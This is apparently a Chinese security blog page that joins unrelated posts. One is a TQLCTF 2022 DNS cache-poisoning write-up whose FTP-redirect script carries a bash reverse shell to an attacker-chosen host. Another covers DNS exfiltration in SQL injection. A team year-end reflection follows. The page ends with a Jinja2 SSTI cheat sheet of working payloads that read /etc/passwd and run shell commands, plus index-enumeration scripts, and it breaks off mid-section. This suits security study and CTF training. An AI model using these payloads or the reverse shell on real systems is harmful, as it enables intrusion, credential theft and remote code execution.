从一道题开始学习DNS缓存攻击

文章首发于先知社区:从一道题开始学习DNS缓存攻击

前言

TQLCTF 2022只做了一道web,其余几道题打自闭了,回来复现。前言?没有前言了。。。焯

DNS解析链

image.png

DNS就是域名系统,是因特网中的一项核心服务,是用于实现域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。

众所周知,DNS查询具有透明性,不会对接收到的DNS记录进行修改,恶意代码能够完整保存,并且,接收解析结果的程序不会对结果做任何验证和过滤。

image.png

上面是我做的一个DNS解析流程图

如果,我们将恶意字符编码为DNS记录的有效载荷。由攻击者的域名服务器提供的记录在攻击者控制的域下包含一个合法映射,但record被目标程序接受并处理时,获取到了错误子域的IP地址。此时,攻击者向解析器注入了大量伪造的响应,就会发生错误的解释从而导致注入攻击。

DNS缓存攻击

在DNS资源记录中插⼊控制字符,从⽽影响DNS的解析结果,或是插⼊不符合域名规范的特殊字符,最终实现DNS缓存污染、SQL 注⼊、XSS等效果。

我们假设A为用户端,B为DNS服务器,C为A到B链路的一个节点的网络设备(路由器,交换机,网关之类的),然后我们来模拟一次被污染的DNS请求过程。

假设A向B构建UDP连接,然后,A向B发送查询请求,查询请求内容通常是:A example.com,这一个数据包经过节点设备C继续前往DNS服务器B;然而在这个过程中,C通过对数据包进行特征分析(远程通讯端口为DNS服务器端口,激发内容关键字检查,检查特定的域名如上述的example.com,以及查询的记录类型A记录),从而立刻返回一个错误的解析结果(如返回了A 123.110.119.120),众所周知,作为链路上的一个节点,C机器的这个结果必定会先于真正的域名服务器的返回结果到达用户机器A,而我们的DNS解析机制有一个重要的原则,就是只认第一,因此C节点所返回的查询结果就被A机器当作了最终返回结果,用于构建链接。

DNS缓存投毒

DNS缓存投毒攻击主要有两种攻击方式,分别利用\\.\\000字符:

句点注入

\\.在解码时会被认为是 .字符,因此DNS记录 www\\.example.com. A 1.1.1.1存入DNS缓存后就是将域名 www.example.com解析为 1.1.1.1的一条A记录。

这种攻击要求攻击者有一个特殊的域名www\\.example.com,且目标域名在同一父域下,但大多数应用都不太可能出现直接访问这类错误域名的情况,所以可以用CNAME记录来重定向。

CNAME对于需要在同一个IP地址上运行多个服务的情况来说非常方便。若要同时运行文件传输服务和Web服务,则可以把ftp.example.comwww.example.com都指向DNS记录 example.com ,而后者则有一个指向IP地址的A记录。如此一来,若服务器IP地址改变,则只需修改example.com的A记录即可。

CNAME记录必须指向另一个域名,而不能是IP地址。

inject.attacker.com. CNAME www\\.example.com.
www\\.example.com. A 1.1.1.1

当我们直接对record进行解码但没有对\\.设置转义,www.example.com的 IP 地址就会变为
1.1.1.1。解码后缓存这个被误解的记录导致了DNS缓存注入。

\\000截断

\\000是C语言字符串的结束符,指的是8进制0对应的字符,很多情况下DNS记录中的字符串也会被这一字符截断。

当我们解码并将其输入到目标缓存时,该记录使攻击者能够在缓存中注入任意域名的记录。在这个攻击中,我们还使用了一个 CNAME别名映射到某个二级域名injectdot.attacker.com,对于大多数客户端软件,都会直接访问解析器就触发了对www.example.com\\000.attacker.com的查询。当没有转义www.example.com后的零字节时,.attacker.com被重新移动,因为它在\\\000之后,DNS 软件误解记录并缓存一个记录映射www.example.com到 IP 地址 1.1.1.1

inject.attacker.com. CNAME www.example.com\\000.attacker.com
www.example.com\\000.attacker.com A 1.1.1.1

例题 — [TQLCTF 2022]Network tools

通过DNS隧道传输恶意载荷

  • DNS缓存投毒
  • SSRF
from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'  
sess = Session()
sess.init_app(app)

def exec_command(cmd, addr):
    result = ''
    if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
        with os.popen(cmd % (addr)) as readObj:
            result = readObj.read()
    else:
        result = 'Invalid Address!'
    return result

@app.route("/")
def index():
    if not session.get('token'):
        token = md5(os.urandom(32)).hexdigest()[:8]
        session['token'] = token
    return send_from_directory('', 'index.html')

@app.route("/ping", methods=['POST'])
def ping():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("ping -c 3 -W 1 %s 2>&1", addr)

@app.route("/traceroute", methods=['POST'])
def traceroute():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)

@app.route("/ftpcheck")
def ftpcheck():
    if not session.get('token'):
        return redirect("/")
    domain = session.get('token') + ".ftp.testsweb.xyz"
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(domain)

@app.route("/shellcheck", methods=['POST'])
def shellcheck():
    if request.remote_addr != '127.0.0.1':
        return 'Localhost only'
    shell = request.form.get('shell', '')
    if shell == '':
        return 'Parameter "shell" Empty!'
    return str(os.system(shell))

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

分析一下,有两个点,一个是ftpcheck路由的FTP SSRF,还有一个是只允许本地访问的shell

那么我们的思路就是将token.ftp.testsweb.xyz的缓存污染为⾃⼰服务器的IP地址,即可实现FTP SSRF,访问到预留的webshell。

这里实现的时候,我们可以用Twisted,一个基于事件驱动的网络引擎框架,支持许多常见的传输及应用层协议,包括TCP、UDP、SSL/TLS、HTTP、IMAP、SSH、IRC以及FTP。

zone = [
    SOA(
        # For whom we are the authority 
        'a.testsweb.xyz',

        # This nameserver's name 
        mname = "b.testsweb.xyz.",

        # Mailbox of individual who handles this 
        rname = "admin.a.testsweb.xyz",

        # Unique serial identifying this SOA data 
        serial = 0,

        # Time interval before zone should be refreshed 
        refresh = "1H",

        # Interval before failed refresh should be retried 
        retry = "30M",

        # Upper limit on time interval before expiry 
        expire = "1M",

        # Minimum TTL 
        minimum = "30"
    ),
    NS('a.testsweb.xyz', 'b.testsweb.xyz'),#将a.testsweb.xyz域名指定b.testsweb.xyz DNS服务器解析
    CNAME('ftp.a.testsweb.xyz', 'token.ftp.testsweb.xyz\\000.a.testsweb.xyz'),
    A('token.ftp.testsweb.xyz\\000.a.testsweb.xyz', 'X.X.X.X'), 
]

a.testsweb.xyz的域名指定b.testsweb.xyz的DNS服务器解析,然后将a.testweb.xyz的A记录指向自己的服务器IP

完成构造,关闭system-resolved,并且以权威服务器模式打开Twisted

sudo service systemd-resolved stop
sudo twisted -n dns --pyzone a.testweb.xyz

只要查询一下ftp.a.testweb.xyz,就会命中DNS Forwarder的缓存,token.ftp.testweb.xyzDNS缓存就会污染为我们服务器IP

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520- i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    print(conn.recv(20)) # QUIT\r\n
    print("221 ")
    conn.send(b"221 \n")
    conn.close()
    count += 1

发送payload即可。

解决方案

DNS缓存投毒这一漏洞的根本原因我认为是没有对DNS记录进行验证和过滤,以及主机名和域名存在差异性。解决这一漏洞最直接的方法,就是针对这两个特性,将接收到的DNS解析结果像对待用户输入一样的方式进行过滤,不过这样有可能导致传输速率降低。

DNS中的SQL注入攻击

SQLMap现在已经可以自动完成这个任务,随着SQLMap的升级完成,攻击者可以使用此技术进行快速而低调的数据检索,尤其是在其他标准方法失败的情况下。当其他更快的SQL注入(SQLI)数据检索技术失败时,攻击者通常会使用逐位检索数据的方法,这是一个非常繁杂而费时的流程。因此,攻击者通常需要发送成千上万的请求来获取一个普通大小的表的内容。这里提到的是一种攻击者通过利用有漏洞数据库管理系统(DBMS)发起特制的DNS请求,并在另一端进行拦截来检索恶意SQL语句结果(例如管理员密码),每个循环可传输几十个结果字符的技术。

Microsoft SQL Server

扩展存储程序是一个直接运行在微软的地址空间库SQL服务器(MSSQL)的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。

攻击者可以使用MicrosoftWindows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:

\\ComputerName\SharedFolder\Resource

攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。

master..xp_dirtree

扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:

master..xp_dirtree'<dirpath>'

例如,要获得C:\Windows run:里的所有文件夹和子文件夹:

EXECmaster..xp_dirtree 'C:\Windows';

master..xp_fileexist

扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘:xp_fileexist '' 例如,要检查boot.ini文件是否存在于磁盘C 运行:

EXECmaster..xp_fileexist 'C:\boot.ini';

master..xp_subdirs

扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:

master..xp_subdirs'<dirpath>'

例如,要获得C:\Windows中的所有次级文件夹:

EXECmaster..xp_subdirs 'C:\Windows';

Oracle

Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包值得注意。

UTL_INADDR.GET_HOST_ADDRESS

UTL_INADDR包用于互联网的寻址--例如检索本地和远程主机的主机名和IP的地址。

它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:

UTL_INADDR.GET_HOST_ADDRESS('<host>')

例如,为了获得test.example.com的IP地址,运行:

SELECTUTL_INADDR.GET_HOST_ADDRESS('test.example.com');

UTL_HTTP.REQUEST

UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据:UTL_HTTP.REQUEST('')

例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:

SELECTUTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;

HTTPURITYPE.GETCLOB

HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object)HTTPURITYPE('').GETCLOB()

例如,从页面http://test.example.com/index.php开始内容检索运行:

SELECTHTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;

DBMS_LDAP.INIT

DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话:DBMS_LDAP.INIT(('',)

例如:初始化与主机test.example.com的连接运行:

SELECTDBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;

攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。

MySQL

LOAD_FILE

MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:LOAD_FILE('')

例如,要获取C:\Windows\system.ini文件的内容运行:

SELECTLOAD_FILE('C:\\Windows\\system.ini') ;

实操

在SQLMap运行时,unionerror-based技术具有最高优先级,主要因为他们的速度快而且不需要特殊的要求。

因此,只有当inference技术方法是可用的,且选项--dns-domain被用户明确设置时,SQLMap才会打开对DNS渗出的支持。每个DNS解析请求结果都被按照RFC1034规定的DNS域名标准编码为十六进制格式。

这种方式使得最终一切非单词字符都能被保留。此外,表示较长的SQL查询结果的十六进制被分割。这是必须的,因为整个域名内的节点标签(如.example.)被限制在63个字符长度大小。

参考链接

Data Retrieval over DNS in SQL Injection Attacks (arxiv.org)

注入攻击新方式:通过DNS隧道传输恶意载荷 - 安全内参 | 决策者的网络安全知识库 (secrss.com)

迟到的年终总结

wallhaven-wqd2g7.jpg

一年前,在学院,几个2020级平平无奇的新生出于种种原因,努力内卷,加入了网络空间安全实验室。

此后一年内,我们致力于网络安全技术的学习,想要尽自己所能,为切断黑产链条、构建更加安全的网络环境贡献自己的力量。

这一年间,我们是共同勉励的知己,相互成就扶持。赛场上,携手攀登网络安全技术的山峰,赛场外,立足于每位成员的长远发展,鼓励大家做好本职工作、努力学习、去更美好地享受生活。成才外,实验室更在意成人,网络安全的道路是漫长且充满诱惑的。

但是我们绝不允许触犯底线的情况存在,因为热爱而不断探索的精神也会永远不变。

每次的比赛都是对我们的一次督促,促进了我们的飞速成长,一次又一次地突破瓶颈更拉近了彼此的距离。

感谢每一次赛事主办方带来的每场高质量比赛,这一年已经成为过去的小记号,我们还将继续努力,也希望能与更多的师傅们不断交流,一起了解知识,运用知识,找到学习的方向。

再次感谢,
一路携手的队友,
被暴打的出题人,
强到离谱的对手,
还有一直关注我们的朋友们~

最后,我们想说:
感谢大家!希望能与各位继续携手,成就更好的彼此!

新技术无限的追求与执着,加之不断注入的新鲜血液,我们将永葆活力,对网安的热爱驱使着我们不断向前。

相信在新的一年里,网络空间安全执法技术实验室一定会达到更高的高度。而我们,则是怀揣饱满的热情,在一年埋头之后的见证者、成就者。

Flask-jinja2 SSTI 一般利用姿势

SSTI 中常用的魔术方法

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是 object ,而object拥有众多的子类。

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型,返回 <type 'type'> ; 也是类的实例的属性,表示实例对象的类。

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>

__bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的 元组 (虽然只有一个元素)。注意是直接父类!!!

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0]   // python2下雨python3下不同
<type 'object'>

>>> [].__class__.__bases__[0]
<type 'object'>

获取基类还能用 __mro__ 方法,__mro__ 方法可以用来获取一个类的调用顺序,比如:

>>> ''.__class__.__mro__   // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1]            // 返回的是一个类元组,使用索引就能获取基类了
<class 'object'>

除此之外,我们还可以利用 __base__ 方法获取直接基类:

>>> "".__class__.__base__
<type 'basestring'>

有这些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类(<class'object'>)中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。

__subclasses__():查看当前类的子类组成的列表,即返回基类object的子类。

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

查阅起来有些困难,来列举一下:

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......

注意: 这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。

__builtins__:以一个集合的形式查看其引用

内建函数

当我们启动一个python解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

__builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

__globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

__import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。语法:__import__(模块名)

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。总之,是通过python的对象的继承来一步步实现文件读取和命令执行的:

找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

但是遇上一个SSTI的题,该如何下手?大体上有以下几种思路,简单介绍一下,后续有详细总结。

  • 查配置文件
  • 命令执行(其实就是沙盒逃逸类题目的利用方式)
  • 文件读取

利用 SSTI 读取文件

Python 2

在上文中我们使用 __subclasses__ 方法查看子类的时候,发现可以发现索引号为40指向file类:

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......

此file类可以直接用来读取文件:

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

Python 3

使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。

首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'> 这个类索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if 'FileLoader' in res.text:
        print(i)

# 得到编号为79

所以payload如下:

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}

利用 SSTI 执行命令

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。

寻找内建函数 eval 执行命令

首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
        print(i)

# 得到一大堆子类的索引:
64
65
66
67
68
79
80
81
83
91
92
93
94
95
96
117
...

我们可以记下几个含有eval函数的类:

  • warnings.catch_warnings
  • WarningMessage
  • codecs.IncrementalEncoder
  • codecs.IncrementalDecoder
  • codecs.StreamReaderWriter
  • os._wrap_close
  • reprlib.Repr
  • weakref.finalize
  • ......

所以payload如下:

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

我们可以看到,使用eval函数执行命令也是调用的os模块,那我们直接调用os模块不是更简单?

寻找 os 模块执行命令

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

首先编写脚本遍历目标Python环境中含有os模块的类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
        print(i)

# 可以得到一大堆类
64
65
66
67
68
79
80
81
83
117
147
154
161
162
163
164
...

随便挑一个类构造payload执行命令即可:

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。

我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

寻找 popen 函数执行命令

首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'popen' in res.text:
        print(i)

# 得到编号为117

直接构造payload即可:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

这样得到的索引还是很准确的。

除了这种方法外,我们还可以直接导入os模块,python有一个importlib类,可用load_module来导入你需要的模块。

寻找 importlib 类执行命令

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

首先编写脚本遍历目标Python环境中 importlib 类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if '_frozen_importlib.BuiltinImporter' in res.text:
        print(i)

# 得到编号为69

构造如下payload即可执行命令:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

寻找 linecache 函数执行命令

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)

# 得到一堆子类的索引:
168
169
203
206
207
208
...

随便挑一个子类构造payload即可:

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

寻找 subprocess.Popen 类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

subprocess 意在替代其他几个老的模块或者函数,比如:os.systemos.popen 等函数。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)

# 得到索引为245

则构造如下payload执行命令即可:

